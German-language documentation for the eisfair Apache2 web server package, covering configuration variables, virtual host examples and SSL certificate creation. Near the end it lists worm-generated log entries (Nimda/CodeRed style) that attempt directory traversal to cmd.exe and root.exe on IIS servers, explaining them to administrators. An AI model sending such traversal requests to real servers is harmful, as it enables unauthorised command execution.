Mit dem Apache-HTTP-Server kann man selbst Webseiten auf eisfair bereitstellen, auch Seiten mit dynamischen Inhalten (PHP, Perl) stellen damit kein Problem dar.
Das Apache-Package stellt nur den eigentlichen Webserver bereit; um PHP benutzen zu können, muss das APACHE2_PHP5-Package installiert werden.
Standardeinstellung: APACHE2_PORT='80'
Ist der Hostname vom eisfair z.B. obelix und der Domainname home.lan, so muss als Server-Name obelix.home.lan angegeben werden
Standardeinstellung: APACHE2_DOCUMENT_ROOT='/var/www/htdocs'
Wenn PHP installiert wird, wird (in der Konfiguration nicht sichtbar) automatisch index.php hinzugefügt.
Standardeinstellung: APACHE2_DIRECTORY_INDEX='index.html index.htm'
Die IP-Adressen können beim Auswerten der Logfiles immer noch in (evt. veraltete) DNS-Namen aufgelöst werden.
Standardeinstellung: APACHE2_HOSTNAME_LOOKUPS='no'
Standardeinstellung: APACHE2_VIEW_DIRECTORY_CONTENT='no'
Folgende Beispiele illustrieren die Formate der Parameter:
Standardeinstellung: APACHE2_ACCESS_CONTROL='all'
Standardeinstellung: APACHE2_ERROR_LOG='/var/www/log/error_log'
Standardeinstellung: APACHE2_SCRIPT_ALIAS='/var/www/cgi-bin'
Beispiel: Man hat ein Verzeichnis /home/user/bilder/ und möchte dieses öffentlich erreichbar machen, so muss APACHE2_ALIAS_n_DIRECTORY auf /home/user/bilder/ gesetzt werden. Den Wert von APACHE2_ALIAS_n_ALIAS kann man sich dann aussuchen. Wenn dieser Wert z.B. auf ``MyPics'' gesetz wird, könnte man eine Datei in diesem Verzeichnis mit http://[eis]/MyPics/[datei] aufrufen.
Mit Virtual Hosts kann man mehrere Domainnamen oder/und mehrere IP-Adressen auf einem Apache hosten.
Beispiel: Unter www.eisfair.net wurde die Domain meinesubdomain.eisfair.net registriert. Nun hat kann man seinen Eis z.B. unter folgenden Domains erreichbar machen asterix.meinesubdomain.eisfair.net und obelix.meinesubdomain.eisfair.net. Denn dank DNS-Wildcard zeigen alle Domains, die man in der Form xxx.meinesubdomain.eisfair.net z.B. in seinen Browser eingibt auf die IP-Adresse des Eisfairs. folgendermassen aussehen:
APACHE2_VHOST_1_ACTIVE='yes' # Should the VHost be active?
APACHE2_VHOST_1_IP='*' # '*' or ip address
APACHE2_VHOST_1_PORT='80' # Port
APACHE2_VHOST_1_SERVER_NAME='asterix.meinesubdomain.eisfair.net' # server name
APACHE2_VHOST_1_SERVER_ALIAS='*.asterix.meinesubdomain.eisfair.net' # server alias, may be empty
APACHE2_VHOST_1_SERVER_ADMIN='wwwadmin@asterix.meinesubdomain.eisfair.net' # email of webmaster
APACHE2_VHOST_1_DOCUMENT_ROOT='/var/www/asterix/htdocs' # document root
APACHE2_VHOST_1_SCRIPT_DIR='/var/www/asterix/cgi-bin/' # directory to use
APACHE2_VHOST_1_ERROR_LOG='/var/www/asterix/log/error_log' # error log
APACHE2_VHOST_1_ACCESS_LOG='/var/www/asterix/log/access_log' # access log
APACHE2_VHOST_1_ACCESS_CONTROL='all' # controls who get stuff
APACHE2_VHOST_1_SSL='no' # activate SSL
APACHE2_VHOST_1_SSL_PORT='443' # activate SSL
APACHE2_VHOST_1_SSL_FORCE='no' # redirect to https://
APACHE2_VHOST_1_SSL_CERT_NAME='apache-asterix.meinesubdomain.eisfair.net' # Name of the cert.
APACHE2_VHOST_2_ACTIVE='yes' # Should the VHost be active?
APACHE2_VHOST_2_IP='*' # '*' or ip address
APACHE2_VHOST_2_PORT='80' # Port
APACHE2_VHOST_2_SERVER_NAME='obelix.meinesubdomain.eisfair.net' # server name
APACHE2_VHOST_2_SERVER_ALIAS='*.obelix.meinesubdomain.eisfair.net' # server alias, may be empty
APACHE2_VHOST_2_SERVER_ADMIN='wwwadmin@obelix.meinesubdomain.eisfair.net' # email of webmaster
APACHE2_VHOST_2_DOCUMENT_ROOT='/var/www/obelix/htdocs' # document root
APACHE2_VHOST_2_SCRIPT_DIR='/var/www/obelix/cgi-bin/' # directory to use
APACHE2_VHOST_2_ERROR_LOG='/var/www/obelix/log/error_log' # error log
APACHE2_VHOST_2_ACCESS_LOG='/var/www/obelix/log/access_log' # access log
APACHE2_VHOST_2_ACCESS_CONTROL='all' # controls who get stuff
APACHE2_VHOST_2_SSL='no' # activate SSL
APACHE2_VHOST_2_SSL_PORT='443' # activate SSL
APACHE2_VHOST_2_SSL_FORCE='no' # redirect to https://
APACHE2_VHOST_2_SSL_CERT_NAME='apache-obelix.meinesubdomain.eisfair.net' # Name of the cert.
Beispiel: APACHE2_VHOST_x_SERVER_NAME='eis.meinedomain.de'
Beispiel: APACHE2_VHOST_x_SERVER_ALIAS='www.meinedomain.de *.eis.meinedomain.de'
Beispiel: APACHE2_VHOST_x_SERVER_ADMIN='wwwadmin@meinedomain.de'
Beispiel: APACHE2_VHOST_x_DOCUMENT_ROOT='/var/www/meinedomain.de/htdocs/'
Beispiel: APACHE2_VHOST_x_SCRIPT_DIR='/var/www/meinedomain.de/cgi-bin/'
Beispiel: APACHE2_VHOST_x_ERROR_LOG='/var/www/meinedomain.de/log/error_log'
Beispiel: APACHE2_VHOST_x_ACCESS_LOG='/var/www/meinedomain.de/log/access_log'
Siehe auch APACHE2_ACCESS_CONTROL
Für Ergänzungen an der httpd.conf gibt es den Menü-Punkt 'Append commands to the httpd.conf'.
Um SSL einsetzten zu können, müssen zwei Zertifikat erstellt werden. Dies geschiet mit der Hilfe des Pakets ,,certs`` von Jürgen Edner. (Das Paket wird automatisch bei der Apache-Installation gedownloadet und installiert).
Wenn die Variable APACHE2_SSL in der Apache-Konfiguration gesetzt worden ist und noch keine Zertifikate bestehen, wird man dazu aufgefordert, eine ,,passphrase`` einzugeben. Diese Eingabe sollten Sie sich unbedingt merken, da sie zu einem späteren Zeitpunkt nocheinmal gebraucht wird.
Es folgen weitere Eingaben, wie z.B. die Örtlichkeit oder Ihre Email-Adresse für Rückfragen (Diese Angaben können vom Client, der auf Ihrer Website surft abgerufen werden)
WICHTIG: Wenn Sie nach ,,Common Name`` gefragt werden, müssen Sie den Namen Ihres Servers eingeben! (z.B. ,,www.karl-egon.eisfair.net,,) Ansonsten wird das Zertifikat vom Browser des Clients als Nicht-Vertrauenswürdig eingestuft.
Dies ist ebenfalls der Fall, wenn Sie namebased Virtualhosts (mehrere Domainnamen zeigen auf eine IP-Adresse) einsetzten. Das erstellte Zertifikat ist nur für den Virtualhost gültig, bei dem der ,,Common Name``, den Sie bei der Erstellung des Zertifikates eingegeben haben, gleich dem Servernamen ist.
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
Andere merkwürdige Einträge können durch CodeRed entstehen, ein ähnlicher Wurm. Wenn dies der Fall sein sollte, einfach einen Teil der Logeinträge bei Google eingeben, meist wird dort dann der verursachende Wurm gefunden.
Jens Vehlhaber 2008-03-25